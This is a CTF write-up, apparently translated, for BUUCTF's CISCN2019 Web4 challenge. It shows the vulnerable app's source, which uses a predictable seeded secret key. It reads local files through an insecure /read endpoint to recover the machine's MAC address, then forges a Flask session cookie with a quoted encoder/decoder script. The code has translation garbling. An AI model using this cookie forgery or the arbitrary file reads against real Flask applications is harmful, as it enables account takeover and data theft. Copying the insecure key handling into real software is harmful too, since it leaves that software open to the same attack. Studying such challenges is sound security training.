BUUCTF [CISCN2019 Southeast China Division] Web4

This article will explain BUUCTF’s [CISCN2019 Southeast China Division] Web4, about the forgery of flask_session.

My ability is limited, if there are mistakes, I hope you can correct me.

Recently, I encountered a topic related to flask_session forgery in a game. I didn’t learn it before, and I happened to randomly pick a BUUCTF topic that happened to be the flask_session forgery. After reading the WP of the masters, I will conduct a self-summary.

After turning on the target machine, you can see

Click to jump to Baidu,

look at url

It feels like reading any file, so try to read the password

really read

Then try to read /flag

The words NO HACK appeared

Then see if you can read the currently executing program /proc/self/cmdline

Read the program source code again /app/app.py

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World!
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib. urlopen(url)
        return res. read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

/read does not allow reading the flag, if you read from /flag, you need to forge the session

Pay attention to the following piece of code

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

random.seed() is used to set the random seed, and the same seed will generate random numbers in order.

uuid.getnode() is used to obtain the device address, so we need to read the MAC address of the device network card first and then forge the session locally.

Baidu took a look at the device network card address under linux under /sys/class/net/eth0/address

After reading it, set it to random.seed() in python, and run random to get SECRET_KEY

Note that there is a pitfall here. The target address device is running with python2, and here I am python3. I have been using this as SECRET_KEY before, and then I can’t run the flag. Baidu checked, and the digits of python2 and python3 random are different. the same. (Been cheated for a long time 5555555) I don’t have python2 installed here, so I found an online website and ran it.

But it seems to be okay to take 9 digits directly from python3.

Decrypt your cookie to see the format.

Attach the script below

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from its dangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 & amp; & amp; < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 & amp; & amp; < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast. literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si. get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}". format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload. split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib. decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si. get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}". format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast. literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si. get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}". format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload. split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib. decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si. get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}". format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse. ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser. parse_args()

    ## find the option chosen
    if(args. subcommand == 'encode'):
        if(args. secret_key is not None and args. cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args. subcommand == 'decode'):
        if(args. secret_key is not None and args. cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args. cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

You can go to github to give the author a star.

Then we re-encrypt the modified format ({‘username’:b’fuck’}) to get the cookie

Change our cookie again.

Visit /flag again to get flag